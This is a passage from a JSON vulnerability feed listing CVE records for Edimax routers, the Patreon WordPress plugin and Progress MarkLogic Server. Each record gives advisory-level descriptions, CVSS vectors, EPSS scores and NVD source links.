a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-108916","cveId":"CVE-2026-108916","aliases":[],"kind":"vulnerability","title":"A vulnerability was found in Edimax BR-6208AC 1.32. This vulnerability affects unknown code of the file /goform/formAccept.","summary":"A vulnerability was found in Edimax BR-6208AC 1.32. This vulnerability affects unknown code of the file /goform/formAccept. Performing a manipulation of the argument submit-url results in command injection. The attack is possible to be carried out remotely. The exploit has been made public and could be used. The vendor was contacted early about this disclosure but did not respond in any way. This vulnerability only affects products that are no longer supported by the maintainer.","detail":"A vulnerability was found in Edimax BR-6208AC 1.32. This vulnerability affects unknown code of the file /goform/formAccept. Performing a manipulation of the argument submit-url results in command injection. The attack is possible to be carried out remotely. The exploit has been made public and could be used. The vendor was contacted early about this disclosure but did not respond in any way. This vulnerability only affects products that are no longer supported by the maintainer.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T18:17:21.967Z","updatedAt":"2026-10-15T16:17:40.163Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.5,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:L/SI:L/SA:L/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-108916","asOf":"2026-10-15T16:17:40.163Z"},"epss":{"probability":0.01657,"percentile":0.76438,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-108916&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-108916","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-108916","type":"primary","publishedAt":"2026-10-12T18:17:21.967Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-108916&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-108916, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-108915","cveId":"CVE-2026-108915","aliases":[],"kind":"vulnerability","title":"A vulnerability has been found in Edimax BR-6208AC 1.32. This affects an unknown part of the file /goform/formWlanMP.","summary":"A vulnerability has been found in Edimax BR-6208AC 1.32. This affects an unknown part of the file /goform/formWlanMP. Such manipulation of the argument ateBW leads to buffer overflow. The attack can be executed remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way. This vulnerability only affects products that are no longer supported by the maintainer.","detail":"A vulnerability has been found in Edimax BR-6208AC 1.32. This affects an unknown part of the file /goform/formWlanMP. Such manipulation of the argument ateBW leads to buffer overflow. The attack can be executed remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way. This vulnerability only affects products that are no longer supported by the maintainer.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T18:17:21.770Z","updatedAt":"2026-10-13T17:17:22.000Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.6,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-108915","asOf":"2026-10-13T17:17:22.000Z"},"epss":{"probability":0.00445,"percentile":0.38454,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-108915&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-108915","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-108915","type":"primary","publishedAt":"2026-10-12T18:17:21.770Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-108915&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-108915, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-108481","cveId":"CVE-2026-108481","aliases":[],"kind":"vulnerability","title":"Cross-Site Request Forgery (CSRF) vulnerability in Patreon Patreon WordPress patreon-connect allows Cross Site Request Forgery.This issue affects Patreon WordPress: from n/a...","summary":"Cross-Site Request Forgery (CSRF) vulnerability in Patreon Patreon WordPress patreon-connect allows Cross Site Request Forgery.This issue affects Patreon WordPress: from n/a through 1.10.0.","detail":"Cross-Site Request Forgery (CSRF) vulnerability in Patreon Patreon WordPress patreon-connect allows Cross Site Request Forgery.This issue affects Patreon WordPress: from n/a through 1.10.0.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T18:17:21.327Z","updatedAt":"2026-10-13T13:28:15.717Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.4,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-108481","asOf":"2026-10-13T13:28:15.717Z"},"epss":{"probability":0.00116,"percentile":0.01618,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-108481&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-108481","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-108481","type":"primary","publishedAt":"2026-10-12T18:17:21.327Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-108481&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-108481, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-108479","cveId":"CVE-2026-108479","aliases":[],"kind":"vulnerability","title":"Cross-Site Request Forgery (CSRF) vulnerability in Patreon Patreon WordPress patreon-connect allows Cross Site Request Forgery.This issue affects Patreon WordPress: from n/a...","summary":"Cross-Site Request Forgery (CSRF) vulnerability in Patreon Patreon WordPress patreon-connect allows Cross Site Request Forgery.This issue affects Patreon WordPress: from n/a through 1.9.17.","detail":"Cross-Site Request Forgery (CSRF) vulnerability in Patreon Patreon WordPress patreon-connect allows Cross Site Request Forgery.This issue affects Patreon WordPress: from n/a through 1.9.17.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T18:17:21.187Z","updatedAt":"2026-10-13T13:28:15.717Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-108479","asOf":"2026-10-13T13:28:15.717Z"},"epss":{"probability":0.00128,"percentile":0.02408,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-108479&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-108479","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-108479","type":"primary","publishedAt":"2026-10-12T18:17:21.187Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-108479&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-108479, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85975","cveId":"CVE-2026-85975","aliases":[],"kind":"vulnerability","title":"Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 may use cleartext transport for Amazon S3 connections by default.","summary":"Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 may use cleartext transport for Amazon S3 connections by default. A network-positioned attacker could intercept data or credentials transmitted through an affected connection.","detail":"Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 may use cleartext transport for Amazon S3 connections by default. A network-positioned attacker could intercept data or credentials transmitted through an affected connection.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T17:17:38.250Z","updatedAt":"2026-10-15T19:17:45.883Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Progress (MOVEit, Telerik, WS_FTP)"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85975","asOf":"2026-10-15T19:17:45.883Z"},"epss":{"probability":0.00234,"percentile":0.14201,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85975&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-85975","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85975","type":"primary","publishedAt":"2026-10-12T17:17:38.250Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85975&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85975, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85974","cveId":"CVE-2026-85974","aliases":[],"kind":"vulnerability","title":"Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 do not consistently validate TLS certificate hostnames for certain outbound connections.","summary":"Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 do not consistently validate TLS certificate hostnames for certain outbound connections. A network-positioned attacker could exploit this weakness to intercept or modify communications with an affected service.","detail":"Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 do not consistently validate TLS certificate hostnames for certain outbound connections. A network-positioned attacker could exploit this weakness to intercept or modify communications with an affected service.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T17:17:38.123Z","updatedAt":"2026-10-15T16:08:54.067Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Progress (MOVEit, Telerik, WS_FTP)"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.4,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85974","asOf":"2026-10-15T16:08:54.067Z"},"epss":{"probability":0.00138,"percentile":0.0318,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85974&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-85974","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85974","type":"primary","publishedAt":"2026-10-12T17:17:38.123Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85974&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85974, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85973","cveId":"CVE-2026-85973","aliases":[],"kind":"vulnerability","title":"Progress MarkLogic Server 12.x releases before 12.1.0 may use cleartext transport for certain cluster-management communications.","summary":"Progress MarkLogic Server 12.x releases before 12.1.0 may use cleartext transport for certain cluster-management communications. A network-positioned attacker could intercept or modify information transmitted through an affected connection.","detail":"Progress MarkLogic Server 12.x releases before 12.1.0 may use cleartext transport for certain cluster-management communications. A network-positioned attacker could intercept or modify information transmitted through an affected connection.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T17:17:38.000Z","updatedAt":"2026-10-15T16:08:54.067Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Progress (MOVEit, Telerik, WS_FTP)"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.4,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85973","asOf":"2026-10-15T16:08:54.067Z"},"epss":{"probability":0.00143,"percentile":0.03555,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85973&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-85973","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85973","type":"primary","publishedAt":"2026-10-12T17:17:38.000Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85973&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85973, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85972","cveId":"CVE-2026-85972","aliases":[],"kind":"vulnerability","title":"Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 do not sufficiently verify the identity of a Kerberos authentication service in certain...","summary":"Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 do not sufficiently verify the identity of a Kerberos authentication service in certain password-based authentication configurations. A network-positioned attacker could impersonate trusted authentication infrastructure, potentially resulting in unauthorized access or modification of protected data.","detail":"Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 do not sufficiently verify the identity of a Kerberos authentication service in certain password-based authentication configurations. A network-positioned attacker could impersonate trusted authentication infrastructure, potentially resulting in unauthorized access or modification of protected data.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T17:17:37.870Z","updatedAt":"2026-10-15T16:27:17.070Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Progress (MOVEit, Telerik, WS_FTP)"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.4,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85972","asOf":"2026-10-15T16:27:17.070Z"},"epss":{"probability":0.00324,"percentile":0.25199,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85972&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-85972","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85972","type":"primary","publishedAt":"2026-10-12T17:17:37.870Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85972&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85972, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85971","cveId":"CVE-2026-85971","aliases":[],"kind":"vulnerability","title":"Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 assign overly permissive operating-system permissions to certain log files, which could allow...","summary":"Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 assign overly permissive operating-system permissions to certain log files, which could allow a local user to read or alter log data. The corrected default permissions apply to newly created and rotated logs; existing logs retain their current permissions until remediated.","detail":"Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 assign overly permissive operating-system permissions to certain log files, which could allow a local user to read or alter log data. The corrected default permissions apply to newly created and rotated logs; existing logs retain their current permissions until remediated.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T17:17:37.750Z","updatedAt":"2026-10-15T16:27:17.070Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Progress (MOVEit, Telerik, WS_FTP)"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85971","asOf":"2026-10-15T16:27:17.070Z"},"epss":{"probability":0.00103,"percentile":0.00945,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85971&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-85971","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85971","type":"primary","publishedAt":"2026-10-12T17:17:37.750Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85971&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85971, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85970","cveId":"CVE-2026-85970","aliases":[],"kind":"vulnerability","title":"Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 enable XML external entity processing by default in multiple server paths, which could allow...","summary":"Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 enable XML external entity processing by default in multiple server paths, which could allow crafted XML to cause server-side requests or disclosure of local files.","detail":"Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 enable XML external entity processing by default in multiple server paths, which could allow crafted XML to cause server-side requests or disclosure of local files.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T17:17:37.627Z","updatedAt":"2026-10-15T20:17:15.773Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Progress (MOVEit, Telerik, WS_FTP)"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85970","asOf":"2026-10-15T20:17:15.773Z"},"epss":{"probability":0.00271,"percentile":0.19186,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85970&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-85970","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85970","type":"primary","publishedAt":"2026-10-12T17:17:37.627Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85970&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85970, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85969","cveId":"CVE-2026-85969","aliases":[],"kind":"vulnerability","title":"Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 contain an out-of-bounds write vulnerability in certain language-processing functionality.","summary":"Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 contain an out-of-bounds write vulnerability in certain language-processing functionality. A remote authenticated attacker could exploit this vulnerability to cause server instability or limited modification of data.","detail":"Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 contain an out-of-bounds write vulnerability in certain language-processing functionality. A remote authenticated attacker could exploit this vulnerability to cause server instability or limited modification of data.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T17:17:37.500Z","updatedAt":"2026-10-15T20:17:15.673Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Progress (MOVEit, Telerik, WS_FTP)"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85969","asOf":"2026-10-15T20:17:15.673Z"},"epss":{"probability":0.00244,"percentile":0.15431,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85969&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-85969","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85969","type":"primary","publishedAt":"2026-10-12T17:17:37.500Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85969&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85969, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85968","cveId":"CVE-2026-85968","aliases":[],"kind":"vulnerability","title":"Progress MarkLogic Server 12.x releases before 12.1.0 contain an out-of-bounds read vulnerability in certain query-processing functionality.","summary":"Progress MarkLogic Server 12.x releases before 12.1.0 contain an out-of-bounds read vulnerability in certain query-processing functionality. A remote authenticated 